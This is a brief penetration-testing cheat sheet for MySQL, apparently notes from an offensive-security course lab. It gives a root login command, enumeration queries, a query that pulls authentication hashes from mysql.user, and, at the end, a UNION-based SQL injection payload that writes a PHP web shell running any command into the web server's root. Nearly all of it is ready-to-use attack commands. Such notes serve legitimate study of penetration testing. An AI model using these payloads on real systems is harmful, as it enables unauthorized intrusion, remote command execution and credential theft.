MySQL

Enumeration

login to mysql

mysql -u root -p'root' -h 192.168.50.16 -P 3306 --skip-ssl-verify-server-cert

view version

select version();

verify database user

select system_user();

view databases

show databases;

view auth string for a user

SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';

Union SQL to remote shell

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //